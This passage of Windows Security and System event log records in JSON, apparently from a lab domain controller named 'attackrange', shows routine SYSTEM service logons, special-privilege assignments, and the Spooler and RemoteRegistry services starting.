Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221460,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76788,"ProcessID":852,"ThreadID":936,"Channel":"System","Message":"The Spooler service entered the running state.","param1":"Spooler","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221461,"ProcessID":860,"ThreadID":1100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221462,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221463,"ProcessID":860,"ThreadID":1100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221464,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76789,"ProcessID":852,"ThreadID":2660,"Channel":"System","Message":"The RemoteRegistry service entered the running state.","param1":"RemoteRegistry","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221465,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221466,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221467,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221468,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221469,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon 